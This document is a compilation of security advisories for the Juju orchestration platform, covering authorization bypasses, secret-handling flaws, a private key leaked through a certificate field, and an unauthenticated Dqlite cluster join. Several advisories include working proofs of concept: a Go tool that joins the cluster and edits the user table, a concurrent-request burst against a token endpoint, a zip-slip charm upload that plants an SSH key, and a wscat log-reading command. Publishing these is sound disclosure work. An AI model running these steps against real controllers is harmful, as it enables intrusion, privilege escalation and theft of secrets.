Summary It is possible that a compromised workload machine under a Juju controller can read any log file for any entity in any model at any level.

There is a debug log endpoint in the API server that allows streaming of logs off of the controller. To access this endpoint you must be authentication and either be a machine agent, controller agent, controller admin or have model read permission.

The problematic is the machine agent story. The rest of the other checks have a high enough degree of safety that an attacker can not move side ways in the controller when obtaining log files.

Details A compromised workload machine is capable of obtaining logs for both the controller and any model under the controller at any log level they wish. A bad actor can use this information as signal for further attacks or possible gain secret information leaked out in debug and trace logs. On top of this they would also be able to receive the logs from the charm itself for which we have no control over.

- here is where the authorizer is defined for the endpoint. - here is where the authorizer is checked. - here and onwards is the amount of information the attacker can gain access to.

PoC

If an attacker compromises a workload machine, they will have access to the agent.conf file containing the credentials. This can then be used to obtain debug logs for any part of the controller.

Summary Any authenticated user, machine or controller under a Juju controller can modify the resources of an application within the entire controller.

This one is very straightforward to just read in the code:

Step 1: The authorisation mechanism for the resource handler is defined here. One is only required to have been authed as either a user, machine or controller to pass this check. One requires no permissions on the controller nor does one need any further permissions on the models themselves.

This handler is available under the following path format /:modeluuid/applications/:application/resources/:resources. See here. The handler defines no authorizer as supported by the handler struct here.

One needs to know the following three bits of information to poison the resource cache on the controller: - model uuid - application name in the model - resource name in the model

Given that a lot of deployments use the charm name for applications and the resources for charms are published on charm hub, this is a very low bar to meet, only requiring the model uuid.

Step 2: If one passes the very basic authz check of step 1, one is now allowed free rein for 'PUT' and 'GET' methods to the handler. This security report will only focus on 'PUT' as it is the most interesting. The 'PUT' handler will gladly take whatever is uploaded to it as long as it has the same file extension defined by the resource.

If the resource already exists in the controller's cache, it will be uploaded with whatever is supplied by the upload, see here and here.

That is it. One can successfully poison the resource cache for any model in the controller.

PoC A proof of concept has not been done for this because it is so obvious from the code read that it is not deemed necessary.

A realistic example of how this can be used: if there is a compromised workload in Juju that has machine credentials, then one can modify the OCI resources for any other model in the controller. For example, if the controller was running a k8s vault, one could change the docker image in use to a trojan horse version that allows obtaining root access to all the vault secrets.

Once this poison has been performed, the attacker can then leverage the vault secrets to go other places.

Impact Any charm deployment where a resource could be modified to inject security vulnerabilities into another workload. The most obvious is OCI containers as one gets execution escalation, but if a file resource had security controls in it, this could also be leveraged. For the file case, this would need to be examined on a case-by-case basis.

Summary

Certs generated by v4 contain their private key.

Details

Background

Recently, I encountered an API in Go that’s easy to misuse: sha512.Sum384 and sha512.New384().Sum look very similar and behave very differently. https://go.dev/play/p/kDCqqoYk84k demonstrates this. I want to discuss extending static analysis to detect this case with the go community, but before I do that, I want to make a best-effort pass at open-source projects to fix the existing bugs. I figured that if there were any vulnerabilities out there, they would be easy to find once that discussion begins, so it’s better to address them early.

This work is a hobby project and has no affiliation with my employer, so I may be slow to respond due to existing commitments.

PoC

https://go.dev/play/p/vSW0U3Hq4qk

Impact

This code (cert.NewLeaf) generates certs with the SubjectKeyId set to sha512.New384().Sum(/ private / key).

If a cert which was generated by cert.NewLeaf is transferred over the network in plaintext, as is often the case in TLS handshakes, an attacker listening on that network may sniff the cert and trivially extract the private key from it. This applies to client and server TLS certs generated by vulnerable versions of this library.

Getting the server cert and its key would only require performing a TLS handshake (with a matching SNI) with the server. At that point, the attacker could impersonate the server.

Similarly, getting the client cert and its key would require getting the client to perform a TLS handshake against an attacker-controlled server. At that point, an attacker could impersonate the client.

Impact

If a user has login permission to a controller and knows the controller model UUID, they can call the CloudSpec method on the Controller facade and get cloud credentials used to bootstrap the controller.

The CloudSpec API is called by workers running in the controller to maintain connection to the cloud - this aspect is not the issue. The API is also called by the CLI when killing (force destroying a controller with juju kill-controller). This is the problematic aspect. The API is exposed to any client caller where that client has nothing more than logon permission on the controller. What should happen is that getting access to the credential should be limited to those client connections where the authenticated user has superuser or model admin permission.

This affect 2.9, 3.6, 4.0.6 (snap from 4.0/edge channel).

The fix will allow non-confidential, public information like cloud endpoint etc to be read, but only controller superusers or model admins will be able to see the credential details.

Patches

No patch exists.

Workarounds

The only mitigation is to restrict ingress to the controller API port 17070 on all controller machines (for vm deployments) or the controller service (for k8s deployments). The Juju CLI and other clients like libjuju or JAAS require ingress to port 17070 so any restricted access will need to take into account those access requirements.

Summary

The localLoginHandlers struct in the Juju API server maintains an in-memory map to store discharge tokens following successful local authentication. This map is accessed concurrently from multiple HTTP handler goroutines without any synchronization primitive protecting it. The absence of a mutex or equivalent mechanism means that concurrent reads, writes, and deletes on the map can trigger Go runtime panics and may allow a discharge token to be consumed more than once before deletion completes.

Details

When a user authenticates through the local login flow, a discharge token is generated and stored in a plain map[string]string field named userTokens. The form handler writes to this map when authentication succeeds, and the third-party caveat checker reads from and deletes from the same map when a discharge request arrives. Both code paths execute inside goroutines dispatched by the HTTP server, meaning concurrent requests will access the map simultaneously.

Go's runtime detects concurrent map access and will terminate the process with a fatal error when a write races with another write or read. This makes the API server susceptible to a denial-of-service attack from any authenticated user who can trigger simultaneous discharge requests. Beyond the crash scenario, the read-then-delete sequence in the caveat checker is not atomic. Two goroutines processing the same token concurrently may both pass the existence check before either executes the deletion, allowing a single-use discharge token to be accepted more than once and effectively replaying authentication.

The struct definition that introduces the unsafe field is shown below.

go type localLoginHandlers struct { authCtxt authContext userTokens map[string]string }

The concurrent access originates from the caveat checker calling username, ok := h.userTokens[tokenString] followed by delete(h.userTokens, tokenString) with no lock held, while formHandler concurrently executes h.userTokens[token] = username in a separate goroutine.

PoC

go package main

import ( "net/http" "sync" )

func main() { token := "acquired-discharge-token" endpoint := "https://target-juju-api:17070/local-login/discharge"

var wg sync.WaitGroup for i := 0; i < 20; i++ { wg.Add(1) go func() { defer wg.Done() req, := http.NewRequest("GET", endpoint+"?token="+token, nil) http.DefaultClient.Do(req) }() } wg.Wait() }

Impact

Any authenticated user who obtains a valid discharge token can send a burst of concurrent requests to the discharge endpoint. The most reliable outcome is a Go runtime panic caused by concurrent map access, which terminates the Juju API server process and denies service to all connected clients and agents. Under favorable timing conditions the same token may be accepted by multiple goroutines before deletion, bypassing the single-use enforcement and allowing repeated authentication with a token that should have been invalidated after first use.

Impact Any Juju controller since 3.2.0.

An attacker with only route-ability to the target juju controller Dqlite cluster endpoint may join the Dqlite cluster, read and modify all information, including escalating privileges, open firewall ports etc.

This is due to not checking the client certificate, additionally, the client does not check the server's certificate (MITM attack possible), so anything goes.

https://github.com/juju/juju/blob/001318f51ac456602aef20b123684f1eeeae9a77/internal/database/node.go#L312-L324

PoC Using the tool referenced below.

Bootstrap a controller and show the users: $ juju bootstrap lxd a Creating Juju controller "a" on lxd/localhost Looking for packaged Juju agent version 4.0.4 for amd64 <...> Launching controller instance(s) on localhost/localhost... - juju-fefd2b-0 (arch=amd64) Installing Juju agent on bootstrap instance Waiting for address Attempting to connect to 10.151.236.15:22 <...> Contacting Juju controller at 10.151.236.15 to verify accessibility...

Bootstrap complete, controller "a" is now available Controller machines are in the "controller" model

Now it's possible to run juju add-model <model-name> to create a new model to deploy workloads. $ juju users Controller: a

Name Display name Access Date created Last connection admin admin superuser 1 minute ago just now juju-metrics Juju Metrics login 1 minute ago never connected everyone@external

Join the cluster with the first cluster member: $ dqlite-demo --db 192.168.1.25:9999 --join 10.151.236.15:17666 dqlite interactive shell. Enter SQL statements terminated with a semicolon. Meta-commands: .switch <database> .close .exit

Connected to database "demo". demo>

Join the cluster with another cluster member and give the admin a new name: dqlite-demo --db 192.168.1.25:9998 --join 10.151.236.15:17666 dqlite interactive shell. Enter SQL statements terminated with a semicolon. Meta-commands: .switch <database> .close .exit

Connected to database "demo". demo> .switch controller Connected to database "controller". controller> select from user; uuid | name | displayname | external | removed | createdbyuuid | createdat -------------------------------------+-------------------+--------------+----------+---------+--------------------------------------+---------------------------------------- 9d5c7126-1401-4ce6-8603-6a6b5ac90d23 | admin | admin | false | false | 9d5c7126-1401-4ce6-8603-6a6b5ac90d23 | 2026-03-17 06:38:25.816694339 +0000 UTC 4e1d65ae-564e-4c0e-8ef6-da8b7fb69b53 | juju-metrics | Juju Metrics | false | false | 9d5c7126-1401-4ce6-8603-6a6b5ac90d23 | 2026-03-17 06:38:26.76549689 +0000 UTC 384c57af-57b1-40be-8e6e-7360371895d3 | everyone@external | | true | false | 9d5c7126-1401-4ce6-8603-6a6b5ac90d23 | 2026-03-17 06:38:26.770215095 +0000 UTC (3 row(s)) controller> update user set displayname='Silly Admin' where name='admin'; OK (1 row(s) affected) controller>

The admin won't like this new name: $ juju users Controller: a

Name Display name Access Date created Last connection admin Silly Admin superuser 6 minutes ago just now juju-metrics Juju Metrics login 6 minutes ago never connected everyone@external

Patches Juju versions 3.6.20 and 4.0.5 are patched to fix this issue.

Workarounds Either: a. Configure restrictive firewall rules and use a trusted network fabric for Juju controllers in HA. Port 17666 must only be connected to by other controller IP addresses. b. Disable HA by reducing to one Juju controller, block incoming connections to port 17666 and outgoing connections to any port 17666.

Resources https://github.com/juju/juju/blob/001318f51ac456602aef20b123684f1eeeae9a77/internal/database/node.go#L312-L324

PoC Tool

Based on the go-dqlite demo app.

go package main

import ( "context" "crypto/ecdsa" "crypto/elliptic" "crypto/rand" "crypto/tls" "crypto/x509" "crypto/x509/pkix" "database/sql" "encoding/pem" "fmt" "log" "math/big" "net" "os" "os/signal" "path/filepath" "strings" "time"

"github.com/canonical/go-dqlite/v3/app" "github.com/canonical/go-dqlite/v3/client" "github.com/peterh/liner" "github.com/pkg/errors" "github.com/spf13/cobra" "golang.org/x/sys/unix" )

func generateSelfSignedCert() (tls.Certificate, error) { key, err := ecdsa.GenerateKey(elliptic.P256(), rand.Reader) if err != nil { return tls.Certificate{}, fmt.Errorf("generate key: %w", err) }

tmpl := &x509.Certificate{ SerialNumber: big.NewInt(1), Subject: pkix.Name{CommonName: "lol"}, NotBefore: time.Now(), NotAfter: time.Now().Add(365 24 time.Hour), KeyUsage: x509.KeyUsageKeyEncipherment | x509.KeyUsageDigitalSignature, ExtKeyUsage: []x509.ExtKeyUsage{x509.ExtKeyUsageServerAuth}, IPAddresses: []net.IP{net.ParseIP("127.0.0.1")}, DNSNames: []string{"lol"}, }

certDER, err := x509.CreateCertificate(rand.Reader, tmpl, tmpl, &key.PublicKey, key) if err != nil { return tls.Certificate{}, fmt.Errorf("create cert: %w", err) }

keyDER, err := x509.MarshalECPrivateKey(key) if err != nil { return tls.Certificate{}, fmt.Errorf("marshal key: %w", err) }

certPEM := pem.EncodeToMemory(&pem.Block{Type: "CERTIFICATE", Bytes: certDER}) keyPEM := pem.EncodeToMemory(&pem.Block{Type: "EC PRIVATE KEY", Bytes: keyDER})

return tls.X509KeyPair(certPEM, keyPEM) }

// runREPL runs an interactive SQL REPL against the given dqlite app. // It supports multi-line statements (terminated by ';') and the meta-commands // .switch <database>, .close, and .exit. func runREPL(ctx context.Context, dqliteApp app.App, initialDBName string, line liner.State) error { var currentDB sql.DB var currentDBName string

openDB := func(name string) error { if currentDB != nil { if err := currentDB.Close(); err != nil { fmt.Fprintf(os.Stderr, "Warning: closing previous database: %v\n", err) } currentDB = nil currentDBName = "" } db, err := dqliteApp.Open(ctx, name) if err != nil { return fmt.Errorf("open database %q: %w", name, err) } currentDB = db currentDBName = name fmt.Printf("Connected to database %q.\n", name) return nil }

defer func() { if currentDB != nil { currentDB.Close() } }()

fmt.Println("dqlite interactive shell.") fmt.Println("Enter SQL statements terminated with a semicolon.") fmt.Println("Meta-commands: .switch <database> .close .exit") fmt.Println()

if initialDBName != "" { if err := openDB(initialDBName); err != nil { return err } } else { fmt.Println("No database selected. Use .switch <database> to open one.") }

prompt := func(multiline bool) string { if multiline { return " ...> " } if currentDBName != "" { return currentDBName + "> " } return "(no db)> " }

var buf strings.Builder

for { input, err := line.Prompt(prompt(buf.Len() > 0)) if err != nil { if err == liner.ErrPromptAborted { if buf.Len() > 0 { buf.Reset() fmt.Println("(statement aborted)") } continue } // EOF (Ctrl-D) or liner closed externally — exit cleanly. fmt.Println() break }

if input != "" { line.AppendHistory(input) }

trimmed := strings.TrimSpace(input) if trimmed == "" { continue }

// Meta-commands are only recognised at the start of a fresh statement. if buf.Len() == 0 && strings.HasPrefix(trimmed, ".") { parts := strings.Fields(trimmed) switch parts[0] { case ".exit": return nil

case ".close": if currentDB != nil { if err := currentDB.Close(); err != nil { fmt.Fprintf(os.Stderr, "Error closing database: %v\n", err) } else { fmt.Printf("Database %q closed.\n", currentDBName) } currentDB = nil currentDBName = "" } else { fmt.Println("No database is currently open.") }

case ".switch": if len(parts) < 2 { fmt.Fprintln(os.Stderr, "Usage: .switch <database>") } else { if err := openDB(parts[1]); err != nil { fmt.Fprintf(os.Stderr, "Error: %v\n", err) } }

default: fmt.Fprintf(os.Stderr, "Unknown meta-command: %s\n", parts[0]) fmt.Fprintln(os.Stderr, "Available meta-commands: .switch <database> .close .exit") } continue }

// Accumulate SQL across lines. if buf.Len() > 0 { buf.WriteByte('\n') } buf.WriteString(input)

// Execute once the statement is terminated with a semicolon. stmt := strings.TrimSpace(buf.String()) if strings.HasSuffix(stmt, ";") { buf.Reset() if currentDB == nil { fmt.Fprintln(os.Stderr, "Error: no database open. Use .switch <database> to open one.") continue } if err := execSQL(currentDB, stmt); err != nil { fmt.Fprintf(os.Stderr, "Error: %v\n", err) } } }

return nil }

// execSQL dispatches to execQuery or execStatement based on the leading keyword. func execSQL(db sql.DB, stmt string) error { // Trim the trailing semicolon just for the prefix check. upper := strings.ToUpper(strings.TrimSpace(strings.TrimSuffix(strings.TrimSpace(stmt), ";"))) switch { case strings.HasPrefix(upper, "SELECT"), strings.HasPrefix(upper, "WITH"), strings.HasPrefix(upper, "PRAGMA"), strings.HasPrefix(upper, "EXPLAIN"): return execQuery(db, stmt) default: return execStatement(db, stmt) } }

// execQuery runs a statement expected to return rows and prints them as a table. func execQuery(db sql.DB, stmt string) error { rows, err := db.Query(stmt) if err != nil { return err } defer rows.Close()

cols, err := rows.Columns() if err != nil { return err } if len(cols) == 0 { fmt.Println("OK") return nil }

// Initialise column widths from the header names. widths := make([]int, len(cols)) for i, c := range cols { widths[i] = len(c) }

// Scan all rows into memory so we can compute column widths before printing. vals := make([]interface{}, len(cols)) valPtrs := make([]interface{}, len(cols)) for i := range vals { valPtrs[i] = &vals[i] }

var allRows [][]string for rows.Next() { if err := rows.Scan(valPtrs...); err != nil { return err } row := make([]string, len(cols)) for i, v := range vals { if v == nil { row[i] = "NULL" } else { row[i] = fmt.Sprintf("%v", v) } if len(row[i]) > widths[i] { widths[i] = len(row[i]) } } allRows = append(allRows, row) } if err := rows.Err(); err != nil { return err }

printRow(cols, widths) printSeparator(widths) for , row := range allRows { printRow(row, widths) } fmt.Printf("(%d row(s))\n", len(allRows)) return nil }

// execStatement runs a non-SELECT statement and prints the rows-affected count. func execStatement(db sql.DB, stmt string) error { result, err := db.Exec(stmt) if err != nil { return err } affected, err := result.RowsAffected() if err != nil { fmt.Println("OK") return nil } fmt.Printf("OK (%d row(s) affected)\n", affected) return nil }

func printRow(vals []string, widths []int) { parts := make([]string, len(vals)) for i, v := range vals { parts[i] = fmt.Sprintf("%-s", widths[i], v) } fmt.Println(strings.Join(parts, " | ")) }

func printSeparator(widths []int) { parts := make([]string, len(widths)) for i, w := range widths { parts[i] = strings.Repeat("-", w) } fmt.Println(strings.Join(parts, "-+-")) }

func main() { var db string var join []string var dir string var verbose bool var dbName string

cmd := &cobra.Command{ Use: "dqlite-demo", Short: "Interactive dqlite SQL REPL", Long: An interactive SQL REPL backed by a dqlite cluster node.

Type SQL statements terminated with a semicolon (;) to execute them. Statements can span multiple lines.

Meta-commands: .switch <database> Open (or switch to) a named database .close Close the current database connection .exit Exit the REPL

Complete documentation is available at https://github.com/canonical/go-dqlite, RunE: func(cmd cobra.Command, args []string) error { nodeDir := filepath.Join(dir, db) if err := os.MkdirAll(nodeDir, 0755); err != nil { return errors.Wrapf(err, "can't create %s", nodeDir) }

logFunc := func(l client.LogLevel, format string, a ...interface{}) { if !verbose { return } log.Printf(fmt.Sprintf("%s: %s: %s\n", db, l.String(), format), a...) }

cart, err := generateSelfSignedCert() if err != nil { return err } options := []app.Option{ app.WithAddress(db), app.WithCluster(join), app.WithLogFunc(logFunc), app.WithTLS(&tls.Config{ InsecureSkipVerify: true, ClientCAs: x509.NewCertPool(), Certificates: []tls.Certificate{cart}, }, &tls.Config{ InsecureSkipVerify: true, }), }

dqliteApp, err := app.New(nodeDir, options...) if err != nil { return err } defer func() { dqliteApp.Handover(context.Background()) dqliteApp.Close() }()

if err := dqliteApp.Ready(context.Background()); err != nil { return err }

line := liner.NewLiner() line.SetCtrlCAborts(true) defer line.Close()

// Forward termination signals by closing the liner, which causes // Prompt() to return and the REPL loop to exit cleanly. sigCh := make(chan os.Signal, 32) signal.Notify(sigCh, unix.SIGPWR, unix.SIGQUIT, unix.SIGTERM) go func() { <-sigCh line.Close() }()

return runREPL(context.Background(), dqliteApp, dbName, line) }, }

flags := cmd.Flags() flags.StringVarP(&db, "db", "d", "", "address used for internal database replication") join = flags.StringSliceP("join", "j", nil, "database addresses of existing nodes") flags.StringVarP(&dir, "dir", "D", "/tmp/dqlite-demo", "data directory") flags.BoolVarP(&verbose, "verbose", "v", false, "verbose logging") flags.StringVarP(&dbName, "name", "n", "controller", "initial database name to open on startup")

cmd.MarkFlagRequired("db")

if err := cmd.Execute(); err != nil { os.Exit(1) } } Mitigation

The strongest protection is to apply the security updates. The following mitigations have also been explored. If security updates cannot be applied, you should only apply the following steps as a last resort and restore the original configuration file once updates are applied. Please note that modifying configuration files may stop future unattended upgrades from completing successfully, until these are reverted to the original content.

Option 1: Disable the HA (High Availability) controller. If your environment does not strictly require HA, reducing the cluster to a single controller removes the need for DQlite replication. Moreover, the port that replicates the vulnerability should be blocked, namely 17666. Option 2: Restrict what IPs can communicate with port 17666, by implementing firewall rules to block all ingress traffic to this port. Only Juju controller IPs should be able to connect to this port.

To restrict access to the DQlite port to just the set of controller IPs, here's an example using ufw for a machine controller. This needs to be run on each controller. If the controller nodes change configuration, the rules will need to be updated accordingly. You will need to enable access to the controller API port 17070 in accordance with your requirements for allowing clients to connect to the Juju controllers.

Retrict access to the Dqlite port. sudo ufw allow from <controllerip1> to any port 17666 proto tcp sudo ufw allow from <controllerip2> to any port 17666 proto tcp sudo ufw allow from <controllerip3> to any port 17666 proto tcp sudo ufw deny 17666/tcp Similarly, the mongo db port needs to allow controller access. sudo ufw allow from <controllerip1> to any port 37017 proto tcp sudo ufw allow from <controllerip2> to any port 37017 proto tcp sudo ufw allow from <controllerip3> to any port 37017 proto tcp sudo ufw deny 37017/tcp Allow access to the controller API port. sudo ufw allow from <your cidr goes here> to any port 17070 proto tcp Allow access to the controller SSH port. sudo ufw allow from <your cidr goes here> to any port 22 proto tcp Ensure the firewall is enabled. sudo ufw enable Check that the rules have been added correctly. sudo ufw status

For Kubernetes controllers, HA is not supported. We recommend blocking access to port 17666. One way is to apply a network policy:

apiVersion: networking.k8s.io/v1 kind: NetworkPolicy metadata: name: controller-0-17666-only-itself namespace: <your controller namespace goes here> spec: podSelector: matchLabels: app: controller statefulset.kubernetes.io/pod-name: controller-0 policyTypes: - Ingress ingress: - from: - podSelector: matchLabels: app: controller statefulset.kubernetes.io/pod-name: controller-0 ports: - protocol: TCP port: 17666

Summary

Predictable secret ID and lack of secret origin API enable confused deputy attacks on Juju workloads.

Details

A Juju application can create a secret and grant it to another integrated application (grantee).

When they do so, the secret owner has to communicate the secret id to the grantee.

The grantee, having received the secret id can load the secret content and perform operations on behalf of the secret owner.

However, today the grantee has no way to determine which granted secret belongs to which owner.

Instead the grantee relies on: - being able to read the secret by id (secret was in fact granted, by some entity) - secret id was received over a relation (the remote end of the relation is presumed to be secret owner)

Additionally, secret IDs are XID, which are predictable, here two secrets created by two distinct apps in the same K8s model close in time: d34vsl7mp25c76301hs0 time (UTC): 2025-09-17 00:18:28 (Unix 1758068308) machine: f6c88a pid: 50072 counter: 6294648

d34vslfmp25c76301hsg time (UTC): 2025-09-17 00:18:29 (Unix 1758068309) machine: f6c88a pid: 50072 counter: 6294649

PoC

This allows for an IDOR attack where: - actors: - a Good application (the owner of the Victim), - an Evil application, and - a Provider application (the Confused Deputy) - relations: Good --- Provider, Evil --- Provider - secrets: Good and Evil create Secrets, granting them to the Provider and communicate Secret IDs with the Provider. - semantics: the Provider performs some operation on behalf of the Good/Evil using the Secret. - weakness 1: Evil can guess the Secret ID that Good granted and communicated to Provider. - weakness 2: Juju doesn't provide the Provider application the facility to verify the provenance of the Secret IDs. - exploit: Evil passes Good's secret id to Provider. - bypass: Provider performs evil operation with Good's Secret ID on behalf of Evil.

Evil could benefit by: - exfiltrating Good's Secret via reflection. - reading or mutating Good's resources accessible via Good's Secret.

Impact

This requires a complex setup.

Not all shared secrets are used like above, so an actual exploit requires a very specific relation interface, specific semantics of the data in the databag, and an administrator having a reasonable need to deploy two apps (one evil, one good) related to the same (third) provider app.

If exploited, it can be very hard to determine what went wrong after the fact.

Suggested remediation

1. Longer, random secret IDs

For example, if the secret id was extended with a 128-bit nonce, guessing a sibling secret ID would be infeasible, and an attack of this style would require another weakness (e.g. secret IDs exposed in logs)

2. Grantee secret API

Today, an app is not allowed to call secret-info-get on the granted secret. Additionally, granted secrets are not included in the secret-ids output.

Suppose that the Provider could run these hook tools: command (provider/0)> secret-ids my-own-secret-123

(provider/0)> secret-ids --grants good-secret-id-42 evil-secret-id-43

(provider/0)> secret-info-get good-secret-id-42 good-secret-id-42: revision: 1 label: "" owner: good grant-relation-id: 12 rotation: never

The Provider would then able to validate the secret ID it's about to use against: - the relation in which the secret ID has been passed (good relation 12 or evil relation 14) - the application or unit name of the secret owner (good or evil)

Summary

Grantee is able to update secret content using the secret-set tool due to broad Kubernetes access policy. Implications are that it is possible, knowing a Kubernetes secret identifier (e.g. name), to patch without affecting the secret, revealing the value, or, patching while affecting the secrets value.

Details

When a Juju secret is "granted" to an app, that app should be able to read the secret content but not modify it, and should be able to only read secrets that have been granted to it.

Authorization of the secret-set hook tool / controller request is not performed correctly, which allows the grantee to update the secret content and to read or affect other secrets.

PoC

Tested: - two applications in the same controller, same model: one owns the secret, another get a grant - relation between them - secret grant - Linux AMD64, Canonical K8s, Juju 3.6.8 controller, Juju 3.6.9 CLI

Not tested: - admin (user) secrets - cross-model relations - cross-controller relations

command ⋊> dima@bb ⋊> /c/hexanator on main ◦ juju exec --unit ingress2/0 "secret-add nice=little-value" secret://9cf1319c-4f4b-44f8-891b-9d1c7d8d3b52/d350nbnmp25c76301ht0 ⋊> dima@bb ⋊> /c/hexanator on main ◦ juju show-unit ingress2/0 ingress2/0: workload-version: 24.2.0 opened-ports: [] charm: ch:amd64/nginx-ingress-integrator-203 leader: true life: alive relation-info: - relation-id: 11 endpoint: ingress related-endpoint: ingress application-data: {} related-units: evilator/0: in-scope: true data: egress-subnets: 10.152.183.39/32 ingress-address: 10.152.183.39 private-address: 10.152.183.39 - relation-id: 10 endpoint: nginx-peers related-endpoint: nginx-peers application-data: {} local-unit: in-scope: true data: egress-subnets: 10.152.183.135/32 ingress-address: 10.152.183.135 private-address: 10.152.183.135 provider-id: ingress2-0 address: 10.1.0.100 ⋊> dima@bb ⋊> /c/hexanator on main ◦ juju exec --unit ingress2/0 "secret-grant d350nbnmp25c76301ht0 --relation 11" ⋊> dima@bb ⋊> /c/hexanator on main ◦ juju exec --unit evilator/0 "secret-set d350nbnmp25c76301ht0 nice=who-is-nice-now" updating secrets: permission denied ⋊> dima@bb ⋊> /c/hexanator on main ◦ juju exec --unit ingress2/0 "secret-get d350nbnmp25c76301ht0" nice: who-is-nice-now

When the grantee attempts to update the the granted secret:

- secret-set command logs an error, though returns OK return status - the secret value is updated - new secret revision is not created - new value is visible to both owner and grantee

Impact

- the application that owns the secret - a third application, if a secret is granted to multiple parties - any other application that has secrets in the same Kubernetes secret backend

An authorization bypass vulnerability in the Vault secrets back-end implementation of Juju versions 3.1.6 through 3.6.18 allows an authenticated unit agent to perform unauthorized updates to secret revisions. With sufficient information, an attacker can poison any existing secret revision within the scope of that Vault secret back-end.

A race condition in the secrets management subsystem of Juju versions 3.0.0 through 3.6.18 allows an authenticated unit agent to claim ownership of a newly initialized secret. Between generating a Juju Secret ID and creating the secret's first revision, an attacker authenticated as another unit agent can claim ownership of a known secret. This leads to the attacking unit being able to read the content of the initial secret revision.

Impact

Any user with a Juju account on a controller can upload a charm to the /charms endpoint. No specific permissions are required - it's just sufficient for the user to exist in the controller user database. A charm which exploits the zip slip vulnerability may be used to allow such a user to get access to a machine running a unit using the affected charm.

Details

A controller exposes three charm-related HTTP API endpoints, as follows: - PUT/GET https://<controller-ip>:17070/model-<model-uuid>/charms/<nameofcharm>-<hashofcharm> - POST/GET https://<controller-ip>:17070/model-<model-uuid>/charms - GET https://<controller-ip>:17070/charms

These endpoints require Basic HTTP authentication credentials and will accept any valid user within the context of the controller. A user that has no specific permission or access granted can call all of these APIs.

To reproduce:

juju bootstrap juju add-user testuser juju change-user-password testuser

Download the ZIP file of an arbitrary charm eg https://github.com/juju/hello-juju-charm

Download and install the following tool: https://github.com/usdAG/slipit

Run the following command to generate a new SSH key pair: ssh-keygen

Copy the contents of the newly created public key into a file called authorizedkeys

Run the following command to inject the malicious path into the ZIP file: slipit hello.zip authorizedkeys --separator ../../../../../../home/ ubuntu/.ssh/

Send the PUT request below to a model on the target controller. Note the following: - the model UUID and controller IP address in the request must be updated - the Juju-Curl header needs to be sent with a value that starts with the “local:” string - the PUT body content should have the exact contents of the ZIP file - the Basic Authorization header should be tied to the user that was created above - the first time that the request is sent, an error will be returned that states that the SHA hash in the URL is invalid. When this occurs, copy the value in the response and replace it in the final part of the URL (i.e. pathtw-<updated-sha>) - PUT /model-34bb5ef0-5a3e-41d7-873c-2f884adf606d/charms/pathtw-5c9f25c HTTP/1.1 Host: 10.4.154.217:17070 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:135.0) Gecko /20100101 Firefox/135.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Upgrade-Insecure-Requests: 1 Sec-Fetch-Dest: document Sec-Fetch-Mode: navigate Sec-Fetch-Site: none Sec-Fetch-User: ?1 Priority: u=0, i Te: trailers Connection: keep-alive Content-Length: 40021 Content-Type: application/zip Juju-Curl: local:pathtw Authorization: Basic dXNlci10ZXN0dXNlcjpwYXNzd29yZA== <ZIP BODY Content>

Observe that the response states that the charm has been uploaded.

Attempt to SSH to the controller by using the private key that was generated above.

Observe that it is possible to authenticate because the file has been overwritten.

Code

The /charms handlers are registered here https://github.com/juju/juju/blob/3.6/apiserver/apiserver.go#L897 https://github.com/juju/juju/blob/3.6/apiserver/apiserver.go#L990

And the only auth required is that the incoming request be for an authenticated user

https://github.com/juju/juju/blob/3.6/apiserver/apiserver.go#L754

but no specific permission checks are done.

Workarounds There are no known workarounds.

References F-02

Impact Any user with a Juju account on a controller can read debug log messages from the /log endpoint. No specific permissions are required - it's just sufficient for the user to exist in the controller user database. The log messages may contain sensitive information.

Details

The /log endpoint is accessible at the following endpoints: - wss://<controller-ip>/log - wss://<controller-ip>/model/<model-uuid>/log

In order to connect to these endpoints, the client must pass an X-Juju-Client-Version header that matches the current version and pass credentials in a Basic Authorization header. Once connected, the service will stream log events even though the user is not authorised to view them.

To reproduce:

juju bootstrap juju add-user testuser juju change-user-password testuser Run the wscat command below to connect to wss://<controller-ip>:17070/api. Update the JSON payload to include the username and password that were created above.

wscat --no-check -c wss://contorller-ip:17070/model/modelUUID/api { "type": "Admin", "request": "Login", "version": 3, "params": { "client- version": "3.6.1.0", "auth-tag": "user-testuser", "credentials": " password" } }

Observe that the connection fails due to a lack of permissions.

Run the command below to connect to the log endpoint. Note that the credentials are passed in the --auth flag.

wscat --auth user-testuser:password -H "X-Juju-ClientVersion: 3.6.4" --no-check -c wss://<controller-ip>:17070/log

Observe that the logs are returned in the server’s response.

Code

The /log handlers are registered here https://github.com/juju/juju/blob/3.6/apiserver/apiserver.go#L867 https://github.com/juju/juju/blob/3.6/apiserver/apiserver.go#L980

And the only auth required is that the incoming request be for an authenticated user

https://github.com/juju/juju/blob/3.6/apiserver/apiserver.go#L713

but no specific permission checks are done.

Workarounds There are no workarounds.

References F-01

Summary You can affect the agent binaries used in a Juju controller and the code that is run in the binaries by simply having a user account on a controller. You aren't required to have a model or any permissions. This just requires a user account in the controller database.

Details Because of the way Juju upload tools code works in the controller it only checks that the user uploading agent binaries is authenticated and is a user tag. No more checks are performed and it allows that user to upload binaries to any model they like (as long as they know the model uuid) or upload binaries to the controller (attacker doesn't need to know any uuid's for controller or controller model).

Once the poison binaries have been uploaded any new machine that is started in the affected model or controller will get started with the poison binaries. Alternatively administrator's of the controller running either juju upgrade-controller or juju upgrade-model will force distribution of the poisoned binaries to all machines in either the model or poison the controllers themselves.

On top of this the exploit can be done with the Juju client tooling itself and no real knowledge on constructing raw API requests is required.

The tools handler is the main piece of code that is used in the APIServer for handling upload requests and persisting the data uploaded: The following code references is how Juju uses and defines this: - The tools upload handler is defined here (https://github.com/juju/juju/blob/3.6/apiserver/apiserver.go#L972) - The tools upload handler is created in the api server here (https://github.com/juju/juju/blob/4bcbd094097016b2fde926afd8c9e590eabb3f0c/apiserver/apiserver.go#L766C2-L766C25). - The main authoriser that is used for the upload handler is created here (https://github.com/juju/juju/blob/4bcbd094097016b2fde926afd8c9e590eabb3f0c/apiserver/apiserver.go#L770C2-L770C28) - The upload handler is registered for the model here (https://github.com/juju/juju/blob/4bcbd094097016b2fde926afd8c9e590eabb3f0c/apiserver/apiserver.go#L902) - The upload handler is registered for the controller here (https://github.com/juju/juju/blob/4bcbd094097016b2fde926afd8c9e590eabb3f0c/apiserver/apiserver.go#L972)

